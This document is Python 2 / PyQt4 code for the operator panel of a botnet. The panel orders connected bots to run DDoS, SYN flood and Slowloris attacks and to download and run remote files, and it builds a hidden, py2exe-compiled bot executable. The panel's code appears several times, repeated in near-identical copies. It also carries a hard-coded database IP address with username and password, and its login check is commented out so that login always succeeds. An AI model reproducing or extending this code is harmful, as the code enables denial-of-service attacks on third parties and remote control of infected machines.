def __init__(self, parent=None): QtGui.QWidget.__init__(self, parent) self.ui = Ui_Dialog() self.ui.setupUi(self) self.ui.tabWidget.setTabEnabled(1, False) self.ui.tabWidget.setTabEnabled(2, False) self.ui.tabWidget.setTabEnabled(3, False) self.ui.userBox.setFocus() self.connect(self, QtCore.SIGNAL('triggered()'), self.closeEvent)
def __init__(self, parent=None): QtGui.QWidget.__init__(self, parent) self.ui = Ui_Dialog() self.ui.setupUi(self) self.ui.tabWidget.setTabEnabled(1, False) self.ui.tabWidget.setTabEnabled(2, False) self.ui.tabWidget.setTabEnabled(3, False) self.ui.userBox.setFocus() self.DetailsOutput("") self.connect(self, QtCore.SIGNAL('triggered()'), self.closeEvent) self.user = "" self.ui.pwBox.setEchoMode(self.ui.pwBox.Password) self.ui.oldPW.setEchoMode(self.ui.oldPW.Password) self.ui.newPW.setEchoMode(self.ui.newPW.Password) self.ui.confirmNewPW.setEchoMode(self.ui.confirmNewPW.Password)
class StartQT4(QtGui.QMainWindow): def __init__(self, parent=None): QtGui.QWidget.__init__(self, parent) self.ui = Ui_Dialog() self.ui.setupUi(self) self.ui.tabWidget.setTabEnabled(1, False) self.ui.tabWidget.setTabEnabled(2, False) self.ui.tabWidget.setTabEnabled(3, False) self.ui.userBox.setFocus() self.DetailsOutput("") self.connect(self, QtCore.SIGNAL('triggered()'), self.closeEvent) self.user = "" self.ui.pwBox.setEchoMode(self.ui.pwBox.Password) self.ui.oldPW.setEchoMode(self.ui.oldPW.Password) self.ui.newPW.setEchoMode(self.ui.newPW.Password) self.ui.confirmNewPW.setEchoMode(self.ui.confirmNewPW.Password) def closeEvent(self, event): self.sClose() def sClose(self): print 'Close Event' t.stopMe() tt.stopMe() a = socket.socket(socket.AF_INET, socket.SOCK_STREAM) a.connect(('127.0.0.1', 8888)) for s in l: try: cmd = enc('closed', key) s[0].send(cmd) except: print 'Some bot(s) failed command recieve' self.close() def sHidePW1(self): pass ## print "changed text" ## st = self.ui.pwBox.text() ## ch = st[len(st)-1] ## enSt = "" ## for i in range(0, len(st)): ## enSt = enSt + "*" ## self.ui.pwBox.setText(enSt) ## if ch != "*": ## self.gpw = self.gpw + ch ## print self.gpw def sLogin(self): """self.user = self.ui.userBox.text() gpw = self.ui.pwBox.text() print gpw try: conn = mdb.connect('184.168.194.11','goldenboy', 'P@ssw0rd','goldenboy') cursor = conn.cursor() cursor.execute("SELECT Password FROM Users WHERE Username = '******';") data = cursor.fetchone() if str(data) != "None": if str(data[0]) == gpw: t.start() tt.start() self.ui.tabWidget.setTabEnabled(1, True) self.ui.tabWidget.setTabEnabled(2, True) self.ui.tabWidget.setTabEnabled(3, True) self.ui.tabWidget.setTabEnabled(0, False) else: self.close() else: self.close() except mdb.Error, e: print "Error %d: %s" % (e.args[0],e.args[1])""" t.start() tt.start() self.ui.tabWidget.setTabEnabled(1, True) self.ui.tabWidget.setTabEnabled(2, True) self.ui.tabWidget.setTabEnabled(3, True) self.ui.tabWidget.setTabEnabled(0, False) def DetailsOutput(self, txt): self.ui.detailsOutput.setText( QtGui.QApplication.translate("Dialog", txt, None, QtGui.QApplication.UnicodeUTF8)) def sNewPW(self): old = self.ui.oldPW.text() new = self.ui.newPW.text() confirm = self.ui.confirmNewPW.text() if str(new) != str(confirm): self.DetailsOutput("Passwords don't match...") return try: conn = mdb.connect('184.168.194.11', 'goldenboy', 'P@ssw0rd', 'goldenboy') cursor = conn.cursor() cursor.execute("SELECT Password FROM Users WHERE Username = '******';") data = cursor.fetchone() if str(data) != "None": if str(data[0]) == old: cursor2 = conn.cursor() cursor2.execute("UPDATE Users SET Password='******' WHERE Username = '******';") data2 = cursor2.fetchone() self.DetailsOutput("Password Successfully Changed") self.ui.oldPW.setText("") self.ui.newPW.setText("") self.ui.confirmNewPW.setText("") else: self.DetailsOutput("Old Password: Incorrect") else: self.DetailsOutput("Error Occured") except: self.DetailsOutput("Error Occured") def Output(self, txt): self.ui.output.setText( QtGui.QApplication.translate("Dialog", txt, None, QtGui.QApplication.UnicodeUTF8)) def sGo(self): st = self.ui.comboBox.currentText() if st == "Update List": self.sListUpdate() elif st == "DDOS": self.sDDOS() elif st == "SynFlood": self.sSYNFLOOD() elif st == "Get": self.sGET() elif st == "Update Bot": self.BotUpdate() elif st == "Run": self.sRun() elif st == "Vaccinate": self.sVaccinate() elif st == "Stop": self.sStop() elif st == "SlowLoris": self.sSlowLoris() def sSlowLoris(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText( "<url to SlowLoris> <# of attacks> <# of threads>") self.Output("How to 'SlowLoris'") return self.Output("Running SlowLoris Attack") args = self.ui.argsBox.text() args = args.split(" ") flag = True for st in args: if st == "": flag = False for s in l: try: if flag: cmd = enc('slowloris ' + args[0] + args[1] + args[2], key) s[0].send(cmd) s[3] = "Running SlowLoris..." #wait = threading.Thread(target=Wait, args=(int("1"),)) #wait.start() self.sListUpdate() self.ui.argsBox.clear() else: self.Output("Insufficient Arguments") except: self.Output("Insufficient Arguments") def sStop(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText( "No Arguments Needed - Stops running DDOS or SynFlood") self.Output("How to 'Stop'") return self.Output("Stopping") flag = True for s in l: try: if flag: cmd = enc('stop', key) s[0].send(cmd) old = s[3] s[3] = "Stopping..." self.sListUpdate() s[3] = old self.ui.argsBox.clear() except: self.Output("Error Occured") def sDDOS(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("<ip> <port> <time-in-seconds>") self.Output("How to DDOS") return self.Output("DDOSing") args = self.ui.argsBox.text() args = args.split(" ") flag = True for st in args: if st == "": flag = False for s in l: try: if flag: if s[3] != "SynFlooding..." and s[3] != "DDOSing...": cmd = enc( 'ddos ' + args[0] + ' ' + args[1] + ' ' + args[2], key) s[0].send(cmd) s[3] = "DDOSing..." wait = threading.Thread(target=Wait, args=(int(args[2]), )) wait.start() self.sListUpdate() self.ui.argsBox.clear() else: self.Output("Some/All Bot(s) are Busy.") else: self.Output("Insufficient Arguments") except: self.Output("Insufficient Arguments") def sSYNFLOOD(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("<ip> <port> <time-in-seconds>") self.Output("How to SynFlood") return self.Output("Syn Flooding") args = self.ui.argsBox.text() args = args.split(" ") flag = True for st in args: if st == "": flag = False for s in l: try: if flag: if s[3] != "SynFlooding..." and s[3] != "DDOSing...": cmd = enc( 'synflood ' + args[0] + ' ' + args[1] + ' ' + args[2], key) s[0].send(cmd) s[3] = "SynFlooding..." wait = threading.Thread(target=Wait, args=(int(args[2]), )) wait.start() self.sListUpdate() self.ui.argsBox.clear() else: self.Output("Some/All Bot(s) are Busy.") else: self.Output("Insufficient Arguments") except: self.Output("Insufficient Arguments") def sGET(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText( "<url> <save-file-path> <1/0 run/justSave>") self.Output("How to Get") return self.Output("Getting from Internet") args = self.ui.argsBox.text() args = args.split(" ") flag = True for st in args: if st == "": flag = False for s in l: try: if flag: cmd = enc('get ' + args[0] + ' ' + args[1] + ' ' + args[2], key) s[0].send(cmd) old = s[3] s[3] = "Getting..." self.sListUpdate() s[3] = old self.ui.argsBox.clear() else: self.Output("Insufficient Arguments") except: self.Output("Insufficient Arguments") def sListUpdate(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("") self.Output("No Arguments Needed") return #self.Output("Updating List") self.ui.argsBox.setText("") self.ui.list.clear() ll = [] for obj in l: ll.append( str(obj[1][0]) + " / " + str(obj[2]) + "\t " + str(obj[3])) ## try: ## ll.append(str(obj[2])) ## except: ## ll.append(str(obj[1][0])) ## self.ui.numBots.display(int(len(l))) self.ui.list.addItems(ll) def sBotUpdate(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("<url> <save-file-path>") self.Output("How to Update Bots") return self.Output("Updating Bot") args = self.ui.argsBox.text() args = args.split(" ") flag = True for st in args: if st == "": flag = False for s in l: try: if flag: cmd = enc('update ' + args[0] + ' ' + args[1], key) s[0].send(cmd) old = s[3] s[3] = "Updating..." self.sListUpdate() s[3] = old self.ui.argsBox.clear() else: self.Output("Insufficient Arguments") except: self.Output("Insufficient Arguments") def sRun(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("<file-path-to-run>") self.Output("How to Run") return self.Output("Running") args = self.ui.argsBox.text() args = args.split(" ") flag = True for st in args: if st == "": flag = False for s in l: try: if flag: cmd = enc('run ' + args[0], key) s[0].send(cmd) old = s[3] s[3] = "Running File..." self.sListUpdate() s[3] = old self.ui.argsBox.clear() else: self.Output("Insufficient Arguments") except: self.Output("Insufficient Arguments") def sVaccinate(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText( "Select Bot to Vaccinate, or Deselect to Vaccinate All") self.Output("How to Vaccinate") return self.Output("Vaccinating") try: i = self.ui.list.currentRow() if self.ui.list.isItemSelected(self.ui.list.item(i)): cmd = enc('clean', key) l[i][0].send(cmd) l[i][3] = "Vaccinating..." self.sListUpdate() else: for s in l: cmd = enc('clean', key) s[0].send(cmd) s[3] = "Vaccinating..." self.sListUpdate() self.Output("Vaccinating all Bots") except: self.Output("Failed to send command") def sInfo(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("") self.Output("No Arguments Needed") return self.Output("Getting Info") for s in l: cmd = enc('info', key) s[0].send(cmd) thing = s[0].recv(10000000) try: test = str(s[2]) except: s.append(thing) self.sListUpdate() def sBuild(self): ip = self.ui.ipBox.text() mutex = self.ui.mutexBox.text() if ip == '': return if mutex == '': return servSource = open('serv.py', 'w') servSource.write(scr1) servSource.write("HOST = '" + ip + "'\nMUTEX = '" + mutex + "'") servSource.write(scr2) servSource.close() compSource = open('comp.bat', 'w') compSource.write("color 0a\nC:/Python27/python setup.py py2exe") compSource.close() setupSource = open('setup.py', 'w') setupSt = """from distutils.core import setup import py2exe, sys, os sys.argv.append('py2exe') excludes = ["Secur32.dll", "SHFOLDER.dll"] setup( options = { "py2exe": { "compressed": 1, "optimize": 2, "ascii": 1, "bundle_files": 1, "dll_excludes": excludes, "packages": ["encodings"], "dist_dir": "dist" } }, windows = [{'script': "serv.py"}], zipfile = None, console=[{"script": "serv.py"}] )""" setupSource.write(setupSt) setupSource.close() p = os.popen('attrib +h +s comp.bat') p = os.popen('attrib +h +s serv.py') p = os.popen('attrib +h +s setup.py') lol = threading.Thread(target=BuildWait) lol.start() os.system('comp.bat') #self.ui.outputURLChecker.setText(QtGui.QApplication.translate("Dialog", "Finished Building", None, QtGui.QApplication.UnicodeUTF8)) os.remove('comp.bat') os.remove('serv.py') os.remove('setup.py') shutil.copy('dist\\serv.exe', 'serv.exe') shutil.rmtree('dist') shutil.rmtree('build') def sRanMutex(self): ran = '' random.seed() r = [] for i in range(65, 91): r.append(chr(i)) for i in range(48, 58): r.append(chr(i)) for i in range(97, 123): r.append(chr(i)) for i in range(25): ran = ran + str(r[random.randint(0, len(r) - 1)]) self.ui.mutexBox.setText(ran) def sCheckURL(self): url = self.ui.URLBox.text() if url == "": self.ui.outputURLChecker.setText( QtGui.QApplication.translate("Dialog", "Please enter URL", None, QtGui.QApplication.UnicodeUTF8)) return self.ui.URLBox.setText("") obj = urllib.urlopen("http://www.downforeveryoneorjustme.com/" + str(url)) source = obj.read() if source.find("looks down from here.") != -1: self.ui.outputURLChecker.setText( QtGui.QApplication.translate("Dialog", str(url) + " is down.", None, QtGui.QApplication.UnicodeUTF8)) else: self.ui.outputURLChecker.setText( QtGui.QApplication.translate("Dialog", str(url) + " is up.", None, QtGui.QApplication.UnicodeUTF8))
class StartQT4(QtGui.QMainWindow): def __init__(self, parent=None): QtGui.QWidget.__init__(self, parent) self.ui = Ui_Dialog() self.ui.setupUi(self) self.ui.tabWidget.setTabEnabled(1, False) self.ui.tabWidget.setTabEnabled(2, False) self.ui.tabWidget.setTabEnabled(3, False) self.ui.userBox.setFocus() self.DetailsOutput("") self.connect(self, QtCore.SIGNAL('triggered()'), self.closeEvent) self.user = "" self.ui.pwBox.setEchoMode(self.ui.pwBox.Password) self.ui.oldPW.setEchoMode(self.ui.oldPW.Password) self.ui.newPW.setEchoMode(self.ui.newPW.Password) self.ui.confirmNewPW.setEchoMode(self.ui.confirmNewPW.Password) def closeEvent(self, event): self.sClose() def sClose(self): print 'Close Event' t.stopMe() tt.stopMe() a = socket.socket(socket.AF_INET, socket.SOCK_STREAM) a.connect(('127.0.0.1', 8888)) for s in l: try: cmd = enc('closed', key) s[0].send(cmd) except: print 'Some bot(s) failed command recieve' self.close() def sHidePW1(self): pass ## print "changed text" ## st = self.ui.pwBox.text() ## ch = st[len(st)-1] ## enSt = "" ## for i in range(0, len(st)): ## enSt = enSt + "*" ## self.ui.pwBox.setText(enSt) ## if ch != "*": ## self.gpw = self.gpw + ch ## print self.gpw def sLogin(self): """self.user = self.ui.userBox.text() gpw = self.ui.pwBox.text() print gpw try: conn = mdb.connect('184.168.194.11','goldenboy', 'P@ssw0rd','goldenboy') cursor = conn.cursor() cursor.execute("SELECT Password FROM Users WHERE Username = '******';") data = cursor.fetchone() if str(data) != "None": if str(data[0]) == gpw: t.start() tt.start() self.ui.tabWidget.setTabEnabled(1, True) self.ui.tabWidget.setTabEnabled(2, True) self.ui.tabWidget.setTabEnabled(3, True) self.ui.tabWidget.setTabEnabled(0, False) else: self.close() else: self.close() except mdb.Error, e: print "Error %d: %s" % (e.args[0],e.args[1])""" t.start() tt.start() self.ui.tabWidget.setTabEnabled(1, True) self.ui.tabWidget.setTabEnabled(2, True) self.ui.tabWidget.setTabEnabled(3, True) self.ui.tabWidget.setTabEnabled(0, False) def DetailsOutput(self, txt): self.ui.detailsOutput.setText(QtGui.QApplication.translate("Dialog", txt, None, QtGui.QApplication.UnicodeUTF8)) def sNewPW(self): old = self.ui.oldPW.text() new = self.ui.newPW.text() confirm = self.ui.confirmNewPW.text() if str(new) != str(confirm): self.DetailsOutput("Passwords don't match...") return try: conn = mdb.connect('184.168.194.11','goldenboy', 'P@ssw0rd','goldenboy') cursor = conn.cursor() cursor.execute("SELECT Password FROM Users WHERE Username = '******';") data = cursor.fetchone() if str(data) != "None": if str(data[0]) == old: cursor2 = conn.cursor() cursor2.execute("UPDATE Users SET Password='******' WHERE Username = '******';") data2 = cursor2.fetchone() self.DetailsOutput("Password Successfully Changed") self.ui.oldPW.setText("") self.ui.newPW.setText("") self.ui.confirmNewPW.setText("") else: self.DetailsOutput("Old Password: Incorrect") else: self.DetailsOutput("Error Occured") except: self.DetailsOutput("Error Occured") def Output(self, txt): self.ui.output.setText(QtGui.QApplication.translate("Dialog", txt, None, QtGui.QApplication.UnicodeUTF8)) def sGo(self): st = self.ui.comboBox.currentText() if st == "Update List": self.sListUpdate() elif st == "DDOS": self.sDDOS() elif st == "SynFlood": self.sSYNFLOOD() elif st == "Get": self.sGET() elif st == "Update Bot": self.BotUpdate() elif st == "Run": self.sRun() elif st == "Vaccinate": self.sVaccinate() elif st == "Stop": self.sStop() elif st == "SlowLoris": self.sSlowLoris() def sSlowLoris(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("<url to SlowLoris> <# of attacks> <# of threads>") self.Output("How to 'SlowLoris'") return self.Output("Running SlowLoris Attack") args = self.ui.argsBox.text() args = args.split(" ") flag = True for st in args: if st == "": flag = False for s in l: try: if flag: cmd = enc('slowloris ' + args[0] + args[1] + args[2], key) s[0].send(cmd) s[3] = "Running SlowLoris..." #wait = threading.Thread(target=Wait, args=(int("1"),)) #wait.start() self.sListUpdate() self.ui.argsBox.clear() else: self.Output("Insufficient Arguments") except: self.Output("Insufficient Arguments") def sStop(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("No Arguments Needed - Stops running DDOS or SynFlood") self.Output("How to 'Stop'") return self.Output("Stopping") flag = True for s in l: try: if flag: cmd = enc('stop', key) s[0].send(cmd) old = s[3] s[3] = "Stopping..." self.sListUpdate() s[3] = old self.ui.argsBox.clear() except: self.Output("Error Occured") def sDDOS(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("<ip> <port> <time-in-seconds>") self.Output("How to DDOS") return self.Output("DDOSing") args = self.ui.argsBox.text() args = args.split(" ") flag = True for st in args: if st == "": flag = False for s in l: try: if flag: if s[3] != "SynFlooding..." and s[3] != "DDOSing...": cmd = enc('ddos ' + args[0] + ' ' + args[1] + ' ' + args[2], key) s[0].send(cmd) s[3] = "DDOSing..." wait = threading.Thread(target=Wait, args=(int(args[2]),)) wait.start() self.sListUpdate() self.ui.argsBox.clear() else: self.Output("Some/All Bot(s) are Busy.") else: self.Output("Insufficient Arguments") except: self.Output("Insufficient Arguments") def sSYNFLOOD(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("<ip> <port> <time-in-seconds>") self.Output("How to SynFlood") return self.Output("Syn Flooding") args = self.ui.argsBox.text() args = args.split(" ") flag = True for st in args: if st == "": flag = False for s in l: try: if flag: if s[3] != "SynFlooding..." and s[3] != "DDOSing...": cmd = enc('synflood ' + args[0] + ' ' + args[1] + ' ' + args[2], key) s[0].send(cmd) s[3] = "SynFlooding..." wait = threading.Thread(target=Wait, args=(int(args[2]),)) wait.start() self.sListUpdate() self.ui.argsBox.clear() else: self.Output("Some/All Bot(s) are Busy.") else: self.Output("Insufficient Arguments") except: self.Output("Insufficient Arguments") def sGET(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("<url> <save-file-path> <1/0 run/justSave>") self.Output("How to Get") return self.Output("Getting from Internet") args = self.ui.argsBox.text() args = args.split(" ") flag = True for st in args: if st == "": flag = False for s in l: try: if flag: cmd = enc('get ' + args[0] + ' ' + args[1] + ' ' + args[2], key) s[0].send(cmd) old = s[3] s[3] = "Getting..." self.sListUpdate() s[3] = old self.ui.argsBox.clear() else: self.Output("Insufficient Arguments") except: self.Output("Insufficient Arguments") def sListUpdate(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("") self.Output("No Arguments Needed") return #self.Output("Updating List") self.ui.argsBox.setText("") self.ui.list.clear() ll = [] for obj in l: ll.append(str(obj[1][0]) + " / " + str(obj[2]) + "\t " + str(obj[3])) ## try: ## ll.append(str(obj[2])) ## except: ## ll.append(str(obj[1][0])) ## self.ui.numBots.display(int(len(l))) self.ui.list.addItems(ll) def sBotUpdate(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("<url> <save-file-path>") self.Output("How to Update Bots") return self.Output("Updating Bot") args = self.ui.argsBox.text() args = args.split(" ") flag = True for st in args: if st == "": flag = False for s in l: try: if flag: cmd = enc('update ' + args[0] + ' ' + args[1], key) s[0].send(cmd) old = s[3] s[3] = "Updating..." self.sListUpdate() s[3] = old self.ui.argsBox.clear() else: self.Output("Insufficient Arguments") except: self.Output("Insufficient Arguments") def sRun(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("<file-path-to-run>") self.Output("How to Run") return self.Output("Running") args = self.ui.argsBox.text() args = args.split(" ") flag = True for st in args: if st == "": flag = False for s in l: try: if flag: cmd = enc('run ' + args[0], key) s[0].send(cmd) old = s[3] s[3] = "Running File..." self.sListUpdate() s[3] = old self.ui.argsBox.clear() else: self.Output("Insufficient Arguments") except: self.Output("Insufficient Arguments") def sVaccinate(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("Select Bot to Vaccinate, or Deselect to Vaccinate All") self.Output("How to Vaccinate") return self.Output("Vaccinating") try: i = self.ui.list.currentRow() if self.ui.list.isItemSelected(self.ui.list.item(i)): cmd = enc('clean', key) l[i][0].send(cmd) l[i][3] = "Vaccinating..." self.sListUpdate() else: for s in l: cmd = enc('clean', key) s[0].send(cmd) s[3] = "Vaccinating..." self.sListUpdate() self.Output("Vaccinating all Bots") except: self.Output("Failed to send command") def sInfo(self): h = self.ui.argsBox.text() if h == 'help': self.ui.argsBox.setText("") self.Output("No Arguments Needed") return self.Output("Getting Info") for s in l: cmd = enc('info', key) s[0].send(cmd) thing = s[0].recv(10000000) try: test = str(s[2]) except: s.append(thing) self.sListUpdate() def sBuild(self): ip = self.ui.ipBox.text() mutex = self.ui.mutexBox.text() if ip == '': return if mutex == '': return servSource = open('serv.py', 'w') servSource.write(scr1) servSource.write("HOST = '" + ip + "'\nMUTEX = '" + mutex + "'") servSource.write(scr2) servSource.close() compSource = open('comp.bat', 'w') compSource.write("color 0a\nC:/Python27/python setup.py py2exe") compSource.close() setupSource = open('setup.py', 'w') setupSt = """from distutils.core import setup import py2exe, sys, os sys.argv.append('py2exe') excludes = ["Secur32.dll", "SHFOLDER.dll"] setup( options = { "py2exe": { "compressed": 1, "optimize": 2, "ascii": 1, "bundle_files": 1, "dll_excludes": excludes, "packages": ["encodings"], "dist_dir": "dist" } }, windows = [{'script': "serv.py"}], zipfile = None, console=[{"script": "serv.py"}] )""" setupSource.write(setupSt) setupSource.close() p = os.popen('attrib +h +s comp.bat') p = os.popen('attrib +h +s serv.py') p = os.popen('attrib +h +s setup.py') lol = threading.Thread(target=BuildWait) lol.start() os.system('comp.bat') #self.ui.outputURLChecker.setText(QtGui.QApplication.translate("Dialog", "Finished Building", None, QtGui.QApplication.UnicodeUTF8)) os.remove('comp.bat') os.remove('serv.py') os.remove('setup.py') shutil.copy('dist\\serv.exe', 'serv.exe') shutil.rmtree('dist') shutil.rmtree('build') def sRanMutex(self): ran = '' random.seed() r = [] for i in range(65, 91): r.append(chr(i)) for i in range(48, 58): r.append(chr(i)) for i in range(97, 123): r.append(chr(i)) for i in range(25): ran = ran + str(r[random.randint(0, len(r) - 1)]) self.ui.mutexBox.setText(ran) def sCheckURL(self): url = self.ui.URLBox.text() if url == "": self.ui.outputURLChecker.setText(QtGui.QApplication.translate("Dialog", "Please enter URL", None, QtGui.QApplication.UnicodeUTF8)) return self.ui.URLBox.setText("") obj = urllib.urlopen("http://www.downforeveryoneorjustme.com/" + str(url)) source = obj.read() if source.find("looks down from here.") != -1: self.ui.outputURLChecker.setText(QtGui.QApplication.translate("Dialog", str(url) + " is down.", None, QtGui.QApplication.UnicodeUTF8)) else: self.ui.outputURLChecker.setText(QtGui.QApplication.translate("Dialog", str(url) + " is up.", None, QtGui.QApplication.UnicodeUTF8))